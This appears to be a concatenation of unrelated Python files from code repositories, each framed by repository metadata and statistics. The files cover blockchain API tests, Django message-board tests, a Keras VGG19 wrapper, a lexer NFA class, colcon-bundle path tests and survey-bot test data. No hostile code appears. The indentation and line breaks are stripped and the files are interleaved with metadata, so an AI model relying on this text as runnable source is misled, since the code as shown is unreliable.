[ "MIT" ]

null

thenewboston_node/blockchain/tests/test_list_block_chunks_meta.py

fonar/thenewboston-node

e8b574b32b3f0ff6d19a764105558ba1f3b31bc2

[ "MIT" ]

null

from urllib.parse import urlencode import pytest from thenewboston_node.business_logic.tests.base import force_blockchain API_V1_LIST_BLOCKCHAIN_STATE_URL = '/api/v1/block-chunks-meta/' def test_can_list_block_chunk_meta(api_client, file_blockchain_with_three_block_chunks): blockchain = file_blockchain_with_three_block_chunks with force_blockchain(blockchain): response = api_client.get(API_V1_LIST_BLOCKCHAIN_STATE_URL) assert response.status_code == 200 response_json = response.json() assert len(response_json['results']) == 3 meta_0, meta_1, meta_2 = response_json['results'] assert meta_0 == { 'start_block_number': 0, 'end_block_number': 2, 'url_path': ( '/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000000-00000000000000000002-block-chunk.msgpack.gz' ), 'urls': [ 'http://localhost:8555/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000000-00000000000000000002-block-chunk.msgpack.gz' ] } assert meta_1 == { 'start_block_number': 3, 'end_block_number': 5, 'url_path': ( '/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000003-00000000000000000005-block-chunk.msgpack.gz' ), 'urls': [ 'http://localhost:8555/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000003-00000000000000000005-block-chunk.msgpack.gz' ] } assert meta_2 == { 'start_block_number': 6, 'end_block_number': 7, 'url_path': ( '/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000006-xxxxxxxxxxxxxxxxxxxx-block-chunk.msgpack' ), 'urls': [ 'http://localhost:8555/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000006-xxxxxxxxxxxxxxxxxxxx-block-chunk.msgpack' ] } def test_can_order_block_chunk_meta(api_client, file_blockchain_with_three_block_chunks): blockchain = file_blockchain_with_three_block_chunks with force_blockchain(blockchain): response = api_client.get(API_V1_LIST_BLOCKCHAIN_STATE_URL + '?ordering=-start_block_number') assert response.status_code == 200 response_json = response.json() assert len(response_json['results']) == 3 meta_0, meta_1, meta_2 = response_json['results'] assert meta_2 == { 'start_block_number': 0, 'end_block_number': 2, 'url_path': ( '/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000000-00000000000000000002-block-chunk.msgpack.gz' ), 'urls': [ 'http://localhost:8555/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000000-00000000000000000002-block-chunk.msgpack.gz' ] } assert meta_1 == { 'start_block_number': 3, 'end_block_number': 5, 'url_path': ( '/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000003-00000000000000000005-block-chunk.msgpack.gz' ), 'urls': [ 'http://localhost:8555/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000003-00000000000000000005-block-chunk.msgpack.gz' ] } assert meta_0 == { 'start_block_number': 6, 'end_block_number': 7, 'url_path': ( '/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000006-xxxxxxxxxxxxxxxxxxxx-block-chunk.msgpack' ), 'urls': [ 'http://localhost:8555/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000006-xxxxxxxxxxxxxxxxxxxx-block-chunk.msgpack' ] } def test_can_order_block_chunk_meta_with_limit(api_client, file_blockchain_with_three_block_chunks): blockchain = file_blockchain_with_three_block_chunks with force_blockchain(blockchain): response = api_client.get(API_V1_LIST_BLOCKCHAIN_STATE_URL + '?ordering=-start_block_number&limit=2') assert response.status_code == 200 response_json = response.json() assert len(response_json['results']) == 2 meta_0, meta_1 = response_json['results'] assert meta_1 == { 'start_block_number': 3, 'end_block_number': 5, 'url_path': ( '/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000003-00000000000000000005-block-chunk.msgpack.gz' ), 'urls': [ 'http://localhost:8555/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000003-00000000000000000005-block-chunk.msgpack.gz' ] } assert meta_0 == { 'start_block_number': 6, 'end_block_number': 7, 'url_path': ( '/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000006-xxxxxxxxxxxxxxxxxxxx-block-chunk.msgpack' ), 'urls': [ 'http://localhost:8555/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000006-xxxxxxxxxxxxxxxxxxxx-block-chunk.msgpack' ] } def test_can_order_block_chunk_meta_with_limit_and_offset(api_client, file_blockchain_with_three_block_chunks): blockchain = file_blockchain_with_three_block_chunks with force_blockchain(blockchain): response = api_client.get(API_V1_LIST_BLOCKCHAIN_STATE_URL + '?ordering=-start_block_number&limit=1&offset=1') assert response.status_code == 200 response_json = response.json() assert len(response_json['results']) == 1 (meta_0,) = response_json['results'] assert meta_0 == { 'start_block_number': 3, 'end_block_number': 5, 'url_path': ( '/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000003-00000000000000000005-block-chunk.msgpack.gz' ), 'urls': [ 'http://localhost:8555/blockchain/block-chunks/0/0/0/0/0/0/0/0/' '00000000000000000003-00000000000000000005-block-chunk.msgpack.gz' ] } @pytest.mark.parametrize( 'from_block_number,to_block_number,block_chunk_map', ( (0, None, { 0: 0, 1: 1, 2: 2 }), (1, None, { 0: 0, 1: 1, 2: 2 }), (2, None, { 0: 0, 1: 1, 2: 2 }), (3, None, { 0: 1, 1: 2 }), (4, None, { 0: 1, 1: 2 }), (5, None, { 0: 1, 1: 2 }), (6, None, { 0: 2 }), (7, None, { 0: 2 }), (8, None, {}), (None, 10, { 0: 0, 1: 1, 2: 2 }), (None, 9, { 0: 0, 1: 1, 2: 2 }), (None, 8, { 0: 0, 1: 1, 2: 2 }), (None, 7, { 0: 0, 1: 1, 2: 2 }), (None, 6, { 0: 0, 1: 1, 2: 2 }), (None, 5, { 0: 0, 1: 1 }), (None, 4, { 0: 0, 1: 1 }), (None, 3, { 0: 0, 1: 1 }), (None, 2, { 0: 0 }), (None, 1, { 0: 0 }), (None, 0, { 0: 0 }), (0, 10, { 0: 0, 1: 1, 2: 2 }), (0, 9, { 0: 0, 1: 1, 2: 2 }), (0, 8, { 0: 0, 1: 1, 2: 2 }), (0, 7, { 0: 0, 1: 1, 2: 2 }), (0, 6, { 0: 0, 1: 1, 2: 2 }), (0, 5, { 0: 0, 1: 1 }), (1, 5, { 0: 0, 1: 1 }), (2, 5, { 0: 0, 1: 1 }), (3, 5, { 0: 1 }), (4, 5, { 0: 1 }), (5, 5, { 0: 1 }), ) ) def test_filter_by_block_number_range( api_client, file_blockchain_with_three_block_chunks, from_block_number, to_block_number, block_chunk_map ): blockchain = file_blockchain_with_three_block_chunks with force_blockchain(blockchain): response = api_client.get(API_V1_LIST_BLOCKCHAIN_STATE_URL) assert response.status_code == 200 response_json = response.json() block_chunks = response_json['results'] assert len(block_chunks) == 3 assert block_chunks[0]['start_block_number'] == 0 and block_chunks[0]['end_block_number'] == 2 assert block_chunks[1]['start_block_number'] == 3 and block_chunks[1]['end_block_number'] == 5 assert block_chunks[2]['start_block_number'] == 6 and block_chunks[2]['end_block_number'] == 7 query_parameters = {} if from_block_number is not None: query_parameters['from_block_number'] = from_block_number if to_block_number is not None: query_parameters['to_block_number'] = to_block_number with force_blockchain(blockchain): response = api_client.get(API_V1_LIST_BLOCKCHAIN_STATE_URL + '?' + urlencode(query_parameters)) assert response.status_code == 200 response_json = response.json() filtered_block_chunks = response_json['results'] assert len(filtered_block_chunks) == len(block_chunk_map) for filtered_index, original_index in block_chunk_map.items(): assert block_chunks[original_index] == filtered_block_chunks[filtered_index]

28.548851

118

0.535682

1,148

9,935

4.383275

0.078397

0.059618

0.06558

0.072337

0.869038

0.833466

0.827703

0.773052

0.764507

0.731916

0

0.157543

0.338098

9,935

347

119

28.631124

0.607664

0

0.72956

0

0.056604

0.288576

0.170106

0

0.078616

1

0.015723

false

0

0.009434

0

0.025157

0

null

0

1

0

1

0

null

0

7

b71c7c8ee0ec8c505b04916c37e1b391d5316344

220

py

Python

my_utils/__init__.py

Damego/DiscordBOT

a7f6115a064043c0f8c6834756096086636d3f0f

[ "MIT" ]

3

2021-09-22T21:12:29.000Z

2021-12-23T16:22:25.000Z

my_utils/__init__.py

Damego/DiscordBOT

a7f6115a064043c0f8c6834756096086636d3f0f

[ "MIT" ]

null

my_utils/__init__.py

Damego/DiscordBOT

a7f6115a064043c0f8c6834756096086636d3f0f

[ "MIT" ]

1

2021-09-19T08:24:23.000Z

from .asteroid_bot import AsteroidBot from .errors import * from .languages import * from .checks import * from .checks import _cog_is_enabled from .consts import multiplier from .functions import * from .cog import Cog

24.444444

37

0.8

31

220

5.548387

0.451613

0.232558

0.186047

0.255814

0

0.145455

220

8

38

27.5

0.914894

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

3fc02f5a153277b2b207f6d4ba4a5b05a1388c83

40

py

Python

2020/20200310/demonstration.py

cbchoi/SIT32004

699598fc321845e46e5cce81c6c2a60999698e6e

[ "MIT" ]

1

2019-03-04T05:35:37.000Z

2020/20200310/demonstration.py

cbchoi/SIT32004

699598fc321845e46e5cce81c6c2a60999698e6e

[ "MIT" ]

null

2020/20200310/demonstration.py

cbchoi/SIT32004

699598fc321845e46e5cce81c6c2a60999698e6e

[ "MIT" ]

6

2019-03-10T23:39:10.000Z

2020-03-20T11:37:12.000Z

t = (1, 2) print(t) l = [1, 2] print(l)

8

10

0.45

10

40

1.8

0.5

0.222222

0.777778

0

0.133333

0.25

40

5

11

8

0.466667

0

1

0

false

0

0.5

1

null

1

0

1

0

1

0

null

0

1

0

8

b7511532f272bda78607f86d1007400ed7af72b6

4,710

py

Python

tests/test_post.py

MarieEngel/message_board

f5dbc5cf592d3396a2f9358ad25e64a2d858569c

[ "MIT" ]

null

tests/test_post.py

MarieEngel/message_board

f5dbc5cf592d3396a2f9358ad25e64a2d858569c

[ "MIT" ]

null

tests/test_post.py

MarieEngel/message_board

f5dbc5cf592d3396a2f9358ad25e64a2d858569c

[ "MIT" ]

1

2022-03-31T21:59:29.000Z

from django.test import TestCase class TestPost(TestCase): fixtures = [ "user_test.json", "category_test.json", "post_test.json", "comment_test.json", ] def test_add_post(self): """Tests if a post created will show up on the home page.""" self.client.login(username="anna", password="password") response = self.client.post( "/post/add/", { "title": "Some title", "body": "Some text", "category": 1, "_save": "SAVE", }, ) self.assertRedirects(response, "/") response = self.client.get("/") self.assertContains(response, "Some title") def test_delete_post(self): """Tests if a deleted post will not show up on the home page.""" self.client.login(username="anna", password="password") response = self.client.get("/post/1/") self.assertEqual(response.status_code, 200) self.assertContains(response, "Has anybody seen my cow") response = self.client.post("/post/1/delete/", follow=True) self.assertEqual(response.status_code, 200) response = self.client.get("/") self.assertNotContains(response, "Has anybody seen my cow") def test_update_post(self): """Tests if an updated post will show up on the home page.""" self.client.login(username="anna", password="password") response = self.client.get("/post/1/") self.assertEqual(response.status_code, 200) self.assertContains(response, "Has anybody seen my cow") self.assertNotContains(response, "Has anybody seen my crow") response = self.client.post( "/post/1/update/", { "title": "Has anybody seen my crow", "body": "My lovely crow is missing.", "category": 1, "_save": "SAVE", }, follow=True, ) self.assertEqual(response.status_code, 200) response = self.client.get("/") self.assertContains(response, "Has anybody seen my crow") def test_add_post_anonymous_user(self): """Tests if a not logged in user can add a post.""" response = self.client.get("/post/add/") self.assertEqual(response.status_code, 302) self.assertRedirects(response, "/user/login/?next=/post/add/") def test_delete_post_anonymous_user(self): """Tests if a not logged in user can delete a post.""" response = self.client.get("/post/1/delete/") self.assertEqual(response.status_code, 302) self.assertRedirects(response, "/user/login/?next=/post/1/delete/") def test_update_post_anonymous_user(self): """Tests if a not logged in user can update a post.""" response = self.client.get("/post/1/update/") self.assertEqual(response.status_code, 302) self.assertRedirects(response, "/user/login/?next=/post/1/update/") def test_delete_post_unauthorized_user(self): """Tests if a user that is not the author can delete a post.""" self.client.login(username="marie", password="password") response = self.client.get("/post/1/") self.assertEqual(response.status_code, 200) self.assertContains(response, "Has anybody seen my cow") response = self.client.post( "/post/1/delete/", {"_save": "SAVE"}, ) self.assertEqual(response.status_code, 403) response = self.client.get("/post/1/") self.assertEqual(response.status_code, 200) self.assertContains(response, "Has anybody seen my cow") def test_update_post_unauthorized_user(self): """Tests if a user that is not the author can update a post.""" self.client.login(username="marie", password="password") response = self.client.get("/post/1/") self.assertEqual(response.status_code, 200) self.assertContains(response, "Has anybody seen my cow") self.assertNotContains(response, "Has anybody seen my crow") response = self.client.post( "/post/1/update/", { "title": "Has anybody seen my crow", "body": "My lovely crow is missing.", "category": 1, "_save": "SAVE", }, follow=True, ) self.assertEqual(response.status_code, 403) response = self.client.get("/post/1/") self.assertEqual(response.status_code, 200) self.assertNotContains(response, "Has anybody seen my crow") self.assertContains(response, "Has anybody seen my cow")

40.25641

75

0.597028

554

4,710

4.990975

0.135379

0.079566

0.110669

0.136347

0.861121

0.846655

0.845208

0.797468

0.742495

0

0.01636

0.273248

4,710

116

76

40.603448

0.791411

0.091083

0

0.5625

0

0.201415

0.02217

0

0.302083

1

0.083333

false

0.052083

0.010417

0

0.114583

0

null

0

1

0

null

0

1

0

7

4d46cdd8e28cd9469d2f41c674d0e233484be3fb

123

py

Python

imagedt/decorator/__init__.py

Eddy-zheng/ImageDT

78c9e671526422f28bd564cad9879ef95f12b454

[ "Apache-2.0" ]

9

2018-06-06T02:37:50.000Z

2020-07-16T12:23:26.000Z

imagedt/decorator/__init__.py

Eddy-zheng/ImageDT

78c9e671526422f28bd564cad9879ef95f12b454

[ "Apache-2.0" ]

null

imagedt/decorator/__init__.py

Eddy-zheng/ImageDT

78c9e671526422f28bd564cad9879ef95f12b454

[ "Apache-2.0" ]

5

2018-06-03T11:04:11.000Z

2018-12-26T11:37:22.000Z

# coding: utf-8 from __future__ import absolute_import from __future__ import print_function from .decorator_time import *

24.6

38

0.837398

17

123

5.411765

0.647059

0.217391

0.347826

0

0.009259

0.121951

123

5

39

24.6

0.842593

0.105691

0

1

0

true

0

1

0

1

0.333333

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

4d6f83e1d11569faa9197e7c7389fef3117f9e22

518

py

Python

keras/applications/vgg19.py

PJmouraocs/keras

7a39b6c62d43c25472b2c2476bd2a8983ae4f682

[ "MIT" ]

300

2018-04-04T05:01:21.000Z

2022-02-25T18:56:04.000Z

keras/applications/vgg19.py

PJmouraocs/keras

7a39b6c62d43c25472b2c2476bd2a8983ae4f682

[ "MIT" ]

163

2018-04-03T17:41:22.000Z

2021-09-03T16:44:04.000Z

keras/applications/vgg19.py

PJmouraocs/keras

7a39b6c62d43c25472b2c2476bd2a8983ae4f682

[ "MIT" ]

94

2016-02-17T20:59:27.000Z

2021-04-19T08:18:16.000Z

from __future__ import absolute_import from __future__ import division from __future__ import print_function from keras_applications import vgg19 from . import keras_modules_injection @keras_modules_injection def VGG19(*args, **kwargs): return vgg19.VGG19(*args, **kwargs) @keras_modules_injection def decode_predictions(*args, **kwargs): return vgg19.decode_predictions(*args, **kwargs) @keras_modules_injection def preprocess_input(*args, **kwargs): return vgg19.preprocess_input(*args, **kwargs)

23.545455

52

0.795367

64

518

6.015625

0.3125

0.155844

0.218182

0.187013

0.176623

0

0.026201

0.11583

518

21

53

24.666667

0.81441

0

0.214286

0

1

0.214286

true

0

0.357143

0.214286

0.785714

0.071429

0

null

0

1

0

null

0

1

0

1

0

7

4d9ff676d381a377d692cbb994f1c41c4ad66d0a

3,724

py

Python

pyacc/lexer/nfa.py

hdyuik/pyacc

85f6206388ce29a95e39b659257d45be9df250e5

[ "MIT" ]

2

2019-06-21T23:45:09.000Z

2019-06-23T23:37:50.000Z

pyacc/lexer/nfa.py

hdyuik/compiler

85f6206388ce29a95e39b659257d45be9df250e5

[ "MIT" ]

null

pyacc/lexer/nfa.py

hdyuik/compiler

85f6206388ce29a95e39b659257d45be9df250e5

[ "MIT" ]

null

from pyacc.common import NFA, NFAState, NFAItems, epsilon class LexerNFAItems(NFAItems): def __init__(self): self.token = None class LexerNFAState(NFAState): ItemStorageClass = LexerNFAItems count = 0 class LexerNFA(NFA): StateClass = LexerNFAState def concat(self, right_nfa: "NFA") -> "NFA": new_start_state = LexerNFA.StateClass() new_start_state.link(epsilon, self.start_state) for accepting_state in self.accepting_states: accepting_state.link(epsilon, right_nfa.start_state) new_accepting_state = LexerNFA.StateClass() for accepting_state in right_nfa.accepting_states: accepting_state.link(epsilon, new_accepting_state) states = self.states.union(right_nfa.states, [new_start_state, new_accepting_state]) nfa_data = { "start_state": new_start_state, "accepting_states": {new_accepting_state, }, "states": states, } return LexerNFA(**nfa_data) def union(self, right_nfa: "NFA") -> "NFA": new_start_state = LexerNFA.StateClass() new_start_state.link(epsilon, self.start_state) new_start_state.link(epsilon, right_nfa.start_state) new_accepting_state = LexerNFA.StateClass() for accepting_state in self.accepting_states: accepting_state.link(epsilon, new_accepting_state) for accepting_state in right_nfa.accepting_states: accepting_state.link(epsilon, new_accepting_state) states = self.states.union(right_nfa.states).union([new_start_state, new_accepting_state]) nfa_data = { "start_state": new_start_state, "accepting_states": {new_accepting_state, }, "states": states, } return LexerNFA(**nfa_data) def kleene_closure(self) -> "NFA": new_start_state = LexerNFA.StateClass() new_accepting_state = LexerNFA.StateClass() new_start_state.link(epsilon, self.start_state) new_start_state.link(epsilon, new_accepting_state) for accepting_state in self.accepting_states: accepting_state.link(epsilon, new_accepting_state) accepting_state.link(epsilon, self.start_state) states = self.states.union({new_start_state, new_accepting_state}) nfa_data = { "start_state": new_start_state, "accepting_states": {new_accepting_state, }, "states": states, } return LexerNFA(**nfa_data) def question(self) -> "NFA": new_start_state = LexerNFA.StateClass() new_accepting_state = LexerNFA.StateClass() new_start_state.link(epsilon, new_accepting_state) new_start_state.link(epsilon, self.start_state) for accepting_state in self.accepting_states: accepting_state.link(epsilon, new_accepting_state) states = self.states.union([new_start_state, new_accepting_state]) nfa_data = { "start_state": new_start_state, "accepting_states": {new_accepting_state, }, "states": states, } return LexerNFA(**nfa_data) @classmethod def one_of(cls, symbols: set) -> "NFA": start_state = LexerNFA.StateClass() accepting_state = LexerNFA.StateClass() for symbol in symbols: start_state.link(symbol, accepting_state) nfa_data = { "start_state": start_state, "accepting_states": {accepting_state, }, "states": {start_state, accepting_state}, } return LexerNFA(**nfa_data)

36.871287

99

0.637487

407

3,724

5.479115

0.108108

0.226009

0.110762

0.053363

0.807623

0.791928

0.766816

0.759193

0

0.000369

0.271751

3,724

100

37.24

0.821903

0

0.580247

0

0.051325

0

1

0.074074

false

0

0.012346

0

0.222222

0

null

1

0

1

0

null

0

7

128aa48e2909615349065a90e07801a2708c322b

5,481

py

Python

test/verb/test_path_context.py

rotu/colcon-bundle

b57dd328dca2750b31c6303e587d70913a9dfe9d

[ "Apache-2.0" ]

31

2018-10-19T18:16:37.000Z

2021-07-05T06:54:38.000Z

test/verb/test_path_context.py

rotu/colcon-bundle

b57dd328dca2750b31c6303e587d70913a9dfe9d

[ "Apache-2.0" ]

113

2018-10-24T17:33:50.000Z

2022-02-08T20:36:19.000Z

test/verb/test_path_context.py

rotu/colcon-bundle

b57dd328dca2750b31c6303e587d70913a9dfe9d

[ "Apache-2.0" ]

30

2018-10-19T18:16:08.000Z

2022-03-24T01:21:27.000Z

import shutil import tempfile from pathlib import Path from unittest import TestCase from unittest.mock import patch, Mock from colcon_bundle.verb._path_context import PathContext class TestPathContext(TestCase): def setUp(self): self.install_base = tempfile.mkdtemp() self.bundle_base = tempfile.mkdtemp() def tearDown(self): shutil.rmtree(self.install_base) shutil.rmtree(self.bundle_base) @patch('colcon_bundle.verb._path_context.check_and_mark_bundle_version') @patch('colcon_bundle.verb._path_context.check_and_mark_bundle_tool') @patch('colcon_bundle.verb._path_context.get_and_mark_bundle_cache_version') def test_v2_cache(self, cache_version, *_): cache_version.return_value = 2 context = PathContext(self.install_base, self.bundle_base, 2) assert context.bundle_base() == self.bundle_base assert context.install_base() == self.install_base self._assert_under_cache_subpath(context.dependency_hash_path()) self._assert_under_cache_subpath(context.installer_cache_path()) self._assert_under_cache_subpath(context.dependency_hash_cache_path()) self._assert_under_cache_subpath(context.dependencies_overlay_path()) self._assert_under_cache_subpath(context.bundle_tar_path()) self._assert_under_cache_subpath(context.installer_metadata_path()) self._assert_under_cache_subpath(context.metadata_tar_path()) self._assert_under_cache_subpath(context.dependencies_staging_path()) self._assert_under_cache_subpath(context.version_file_path()) self._assert_under_cache_subpath(context.workspace_staging_path()) self._assert_under_cache_subpath(context.workspace_overlay_path()) self._assert_not_under_cache_subpath(context.bundle_v1_output_path()) self._assert_not_under_cache_subpath(context.bundle_v2_output_path()) self._assert_not_under_cache_subpath(context.sources_tar_gz_path()) def _assert_under_cache_subpath(self, path: str): p = Path(path) self.assertEqual(p.relative_to(self.bundle_base).parts[0], 'cache') @patch('colcon_bundle.verb._path_context.check_and_mark_bundle_version') @patch('colcon_bundle.verb._path_context.check_and_mark_bundle_tool') @patch('colcon_bundle.verb._path_context.get_and_mark_bundle_cache_version') def test_v1_no_cache(self, cache_version, *_): cache_version.return_value = 1 context = PathContext(self.install_base, self.bundle_base, 2) assert context.bundle_base() == self.bundle_base assert context.install_base() == self.install_base self._assert_not_under_cache_subpath(context.dependency_hash_path()) self._assert_not_under_cache_subpath(context.installer_cache_path()) self._assert_not_under_cache_subpath(context.dependency_hash_cache_path()) self._assert_not_under_cache_subpath(context.dependencies_overlay_path()) self._assert_not_under_cache_subpath(context.bundle_tar_path()) self._assert_not_under_cache_subpath(context.installer_metadata_path()) self._assert_not_under_cache_subpath(context.metadata_tar_path()) self._assert_not_under_cache_subpath(context.dependencies_staging_path()) self._assert_not_under_cache_subpath(context.version_file_path()) self._assert_not_under_cache_subpath(context.workspace_staging_path()) self._assert_not_under_cache_subpath(context.workspace_overlay_path()) self._assert_not_under_cache_subpath(context.bundle_v1_output_path()) self._assert_not_under_cache_subpath(context.bundle_v2_output_path()) self._assert_not_under_cache_subpath(context.sources_tar_gz_path()) def _assert_not_under_cache_subpath(self, path: str): p = Path(path) self.assertNotEqual(p.relative_to(self.bundle_base).parts[0], 'cache') @patch('colcon_bundle.verb._path_context.check_and_mark_bundle_version') @patch('colcon_bundle.verb._path_context.get_and_mark_bundle_cache_version') @patch('colcon_bundle.verb._path_context.check_and_mark_bundle_tool') def test_initalize_bundle_base_does_not_exist(self, bundle_tool, cache_version, bundle_version): shutil.rmtree(self.bundle_base) PathContext(self.install_base, self.bundle_base, 2) bundle_version.assert_called_with(self.bundle_base, this_bundle_version=2, previously_bundled=False) cache_version.assert_called_with(self.bundle_base, previously_bundled=False) bundle_tool.assert_called_with(self.bundle_base) @patch('colcon_bundle.verb._path_context.check_and_mark_bundle_version') @patch('colcon_bundle.verb._path_context.get_and_mark_bundle_cache_version') @patch('colcon_bundle.verb._path_context.check_and_mark_bundle_tool') def test_initalize_bundle_base_does_exist(self, bundle_tool, cache_version, bundle_version): PathContext(self.install_base, self.bundle_base, 2) bundle_version.assert_called_with(self.bundle_base, this_bundle_version=2, previously_bundled=True) cache_version.assert_called_with(self.bundle_base, previously_bundled=True) bundle_tool.assert_called_with(self.bundle_base)

54.81

100

0.747491

702

5,481

5.294872

0.106838

0.08071

0.137207

0.180791

0.913909

0.895615

0.829701

0.58219

0

0.003515

0.169495

5,481

100

101

54.81

0.813049

0

0.488372

0

0.138271

0.136447

0

0.488372

1

0.093023

false

0

0.069767

0

0.174419

0

null

0

1

0

null

0

1

0

7

421532621986457802fd95ba91e9c526586590df

72,450

py

Python

tests/utils/data.py

daniyal7915/spatial-survey-bot

740f4cda26be6882a3d36e62fec66c1b49f2a360

[ "MIT" ]

null

tests/utils/data.py

daniyal7915/spatial-survey-bot

740f4cda26be6882a3d36e62fec66c1b49f2a360

[ "MIT" ]

null

tests/utils/data.py

daniyal7915/spatial-survey-bot

740f4cda26be6882a3d36e62fec66c1b49f2a360

[ "MIT" ]

null

import datetime from engine.utils.utils import DotDict class Data: """Container with the input data for test_process.py""" num = 0 @property def data_ques_ans(self): return {'question': [(f'question{self.num}_1',), (f'question{self.num}_2',)], 'answer': [(f'answer{self.num}_1',), (f'answer{self.num}_2',), (f'answer{self.num}_1',), (f'answer{self.num}_2',), (f'answer{self.num + 1}_1',), (f'answer{self.num + 1}_2',), (f'answer{self.num + 2}_1',), (f'answer{self.num + 2}_2',)], 'count': 2} @property def data_question(self): return [(f'question{self.num}_1',), (f'question{self.num}_2',)] @property def data_double_answer(self): return [(f'answer{self.num}_1',), (f'answer{self.num}_2',), (f'answer{self.num}_1',), (f'answer{self.num}_2',), (f'answer{self.num + 1}_1',), (f'answer{self.num + 1}_2',), (f'answer{self.num + 2}_1',), (f'answer{self.num + 2}_2',), (f'answer{self.num}_1',), (f'answer{self.num}_2',), (f'answer{self.num}_1',), (f'answer{self.num}_2',), (f'answer{self.num + 1}_1',), (f'answer{self.num + 1}_2',), (f'answer{self.num + 2}_1',), (f'answer{self.num + 2}_2',)] @property def data_credentials(self): return 'postgres://bot:1234@localhost:5432/test_db' @property def data_states(self): return {'INIT': 1, 'SURVEY1': 2, 'SURVEY2': 3, 'SURVEY3': 4, 'COLLECT': 5, 'POINT': 6, 'POLYGON': 7, 'TRANSIT': 8, 'MEDIA1': 9, 'MEDIA2': 10, 'QUESTION1': 11, 'QUESTION2': 12, 'ANSWER': 13, 'CHECK1': 14, 'CHECK2': 15, 'SUBMIT': 16, 'RESULT': 17} @property def data_point(self): return 'POINT(45 45)' @property def data_polygon(self): return 'POLYGON((46 45,47 46,48 47,45 48,46 45))' @property def data_ans_check(self): return [1, 'null'] @property def data_get_question(self): return 10 @property def data_get_q_count(self): return [25, 29] @property def data_set_ans_check(self): return 11 @property def data_answer_insert(self): return [[3, 2, 1], ['_1', '_2', '_3']] @property def data_get_pp(self): return '54.0 54.0, 45.0 46.0, 50.0 56.0' @property def data_append_pp(self): return [[True, '54.0 54.0', None], '48.0', '58.0'] @property def data_get_count(self): return [True, '54.0 54.0, 45.0 46.0, 50.0 56.0', None] @property def data_point_polygon_manual(self): return ['12345 qwerty', '12345, qwerty', '-89, 179', '91, -181', '91, 179', '0, 181', '1234567890' * 6] @property def data_point_polygon_location(self): return [-89, 179] @property def data_polygon_create(self): return '54.35 54,45 46,50 56' @property def data_time(self): return datetime.datetime.now().strftime("%Y") @property def data_save_media(self): return '/test_path' @property def data_media_path(self): file_info = DotDict({'file_path': 1034}) return ['1234', file_info, 'media'] @property def data_map_center(self): return [['-45 -45', '70 45'], ['-45 -45', '45 45'], ['-40 -30', '70 30']] @property def data_adjust(self): return ['BOX(-45 -45,45 45)', 'BOX(-40 -30,70 30)'] @property def data_get_scale(self): return [19, 599999, 13389850] @property def data_gjson_shp(self): return [[572000, 371], [372, 573000]] @property def data_count(self): return 2 @property def data_distance(self): return 15038278 @property def data_scale(self): return 1 @property def data_double_point(self): return [[45.0, 45.0], [-45.0, -45.0]] @property def data_double_polygon(self): return [[[30.0, 30.0], [-30.0, -30.0], [10.0, 20.0], [30.0, 30.0]], [[40.0, 10.0], [-40.0, -10.0], [70.0, 20.0], [40.0, 10.0]]] @property def data_quad_point(self): return [[45.0, 45.0], [-45.0, -45.0], [45.0, 45.0], [-45.0, -45.0]] @property def data_quad_polygon(self): return [[[30.0, 30.0], [-30.0, -30.0], [10.0, 20.0], [30.0, 30.0]], [[40.0, 10.0], [-40.0, -10.0], [70.0, 20.0], [40.0, 10.0]], [[30.0, 30.0], [-30.0, -30.0], [10.0, 20.0], [30.0, 30.0]], [[40.0, 10.0], [-40.0, -10.0], [70.0, 20.0], [40.0, 10.0]]] @property def data_extent(self): return {'point': 'BOX(-45 -45,45 45)', 'polygon': 'BOX(-40 -30,70 30)'} @property def data_triple_map_center(self): return [{'center_long': 12.5, 'center_lat': 0.0, 'point1_long': -45.0, 'point1_lat': -45.0, 'point2_long': 70.0, 'point2_lat': 45.0}, {'center_long': 0.0, 'center_lat': 0.0, 'point1_long': -45.0, 'point1_lat': -45.0, 'point2_long': 45.0, 'point2_lat': 45.0}, {'center_long': 15.0, 'center_lat': 0.0, 'point1_long': -40.0, 'point1_lat': -30.0, 'point2_long': 70.0, 'point2_lat': 30.0}] @property def data_webmap(self): return {'point': {'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [{'geometry': {'coordinates': [45.0, 45.0], 'type': 'Point'}, 'properties': {'photo': '<a ' 'href="https://telegra.ph/test_path_photo35"><img ' 'id="Pic" ' 'src="https://telegra.ph/test_path_photo35"></a>', 'question': ' question35_1: ' 'answer35_1 question35_2: ' 'answer35_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name35', 'video': '<a ' 'href="https://telegra.ph/test_path_video35">Click ' 'the link.</a>'}, 'type': 'Feature'}, {'geometry': {'coordinates': [-45.0, -45.0], 'type': 'Point'}, 'properties': {'photo': 'None', 'question': ' question35_1: ' 'answer35_1 question35_2: ' 'answer35_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name35', 'video': 'None '}, 'type': 'Feature'}], 'name': 'Places', 'type': 'FeatureCollection'}, 'polygon': {'crs': {'properties': {'name': 'urn:ogc:def:crs:OGC:1.3:CRS84'}, 'type': 'name'}, 'features': [{'geometry': {'coordinates': [[[[30.0, 30.0], [-30.0, -30.0], [10.0, 20.0], [30.0, 30.0]]]], 'type': 'MultiPolygon'}, 'properties': {'photo': '<a ' 'href="https://telegra.ph/test_path_photo36"><img ' 'id="Pic" ' 'src="https://telegra.ph/test_path_photo36"></a>', 'question': ' question35_1: ' 'answer36_1 question35_2: ' 'answer36_2 ', 'time': '2021-11-20 22:45:00', 'user': 'Name36', 'video': '<a ' 